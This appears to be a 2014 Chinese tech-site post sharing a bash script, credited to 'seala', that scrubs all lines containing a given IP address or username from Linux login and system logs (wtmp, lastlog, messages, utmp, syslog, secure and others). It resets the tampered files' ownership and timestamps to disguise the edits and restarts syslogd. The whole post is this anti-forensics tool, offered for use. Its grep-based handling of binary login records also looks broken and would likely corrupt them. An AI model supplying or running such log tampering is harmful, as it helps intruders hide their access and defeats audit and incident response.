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linux清除日志的脚本

发布时间:2014-09-05 15:39:44作者:知识屋


linux清除日志的脚本
 
Python代码 www.zhishiwu.com  
#!/bin/bash  
echo " linux clear log "  
echo " by seala"  
echo "==============================="  
echo "Clearlog root  or Clearlog IP "  
# chmod 777 log  
# ./log xx.xx.xx.xx And ./log root  
if [ -f "/var/log/wtmp" ];then  
cat /var/log/wtmp | grep -v $1 >> /var/log/temp1;  
chgrp --reference /var/log/wtmp /var/log/temp1;  
chown --reference /var/log/wtmp /var/log/temp1;  
touch -r /var/log/wtmp /var/log/temp1;  
mv -f /var/log/temp1 /var/log/wtmp;  
fi  
  
if [ -f "/var/log/lastlog" ];then  
cat /var/log/lastlog |grep -v $1 >> /var/log/temp2;  
chgrp --reference /var/log/lastlog /var/log/temp2;  
chown --reference /var/log/lastlog /var/log/temp2;  
touch -r /var/log/lastlog /var/log/temp2;  
mv -f /var/log/temp2 /var/log/lastlog;  
fi  
  
if [ -f "/var/log/messages" ];then  
cat /var/log/messages | grep -v $1 >> /var/log/temp3;  
chgrp --reference /var/log/messages /var/log/temp3;  
chown --reference /var/log/messages /var/log/temp3;  
touch -r /var/log/messages /var/log/temp3;  
mv -f /var/log/temp3 /var/log/messages;  
fi  
  
if [ -f "/var/log/utmp" ];then  
cat /var/log/utmp | grep -v $1 >> /var/log/temp4;  
chgrp --reference /var/log/utmp /var/log/temp4;  
chown --reference /var/log/utmp /var/log/temp4;  
touch -r /var/log/utmp /var/log/temp4;  
mv -f /var/log/temp4 /var/log/utmp;  
fi  
  
if [ -f "/var/log/wtmpx" ];then  
cat /var/log/wtmpx | grep -v $1 >> /var/log/temp5;  
chgrp --reference /var/log/wtmpx /var/log/temp5;  
chown --reference /var/log/wtmpx /var/log/temp5;  
touch -r /var/log/wtmpx /var/log/temp5;  
mv -f /var/log/temp5 /var/log/wtmpx;  
fi  
  
 if [ -f "/var/log/utmpx" ];then  
cat /var/log/utmpx | grep -v $1 >> /var/log/temp6;  
chgrp --reference /var/log/utmpx /var/log/temp6;  
chown --reference /var/log/utmpx /var/log/temp6;  
touch -r /var/log/utmpx /var/log/temp6;  
mv -f /var/log/temp6 /var/log/utmpx;  
fi  
  
if [ -f "/var/log/syslog" ];then  
cat /var/log/syslog | grep -v $1 >> /var/log/temp7;  
chgrp --reference /var/log/syslog /var/log/temp7;  
chown --reference /var/log/syslog /var/log/temp7;  
touch -r /var/log/syslog /var/log/temp7;  
mv -f /var/log/temp7 /var/log/syslog;  
fi  
  
if [ -f "/var/log/secure" ];then  
cat /var/log/secure | grep -v $1 >> /var/log/temp8;  
chgrp --reference /var/log/secure /var/log/temp8;  
chown --reference /var/log/secure /var/log/temp8;  
touch -r /var/log/secure /var/log/temp8;  
mv -f /var/log/temp8 /var/log/secure;  
fi   
  
/usr/bin/killall -HUP syslogd;  
echo "Clear log is success!"  
 
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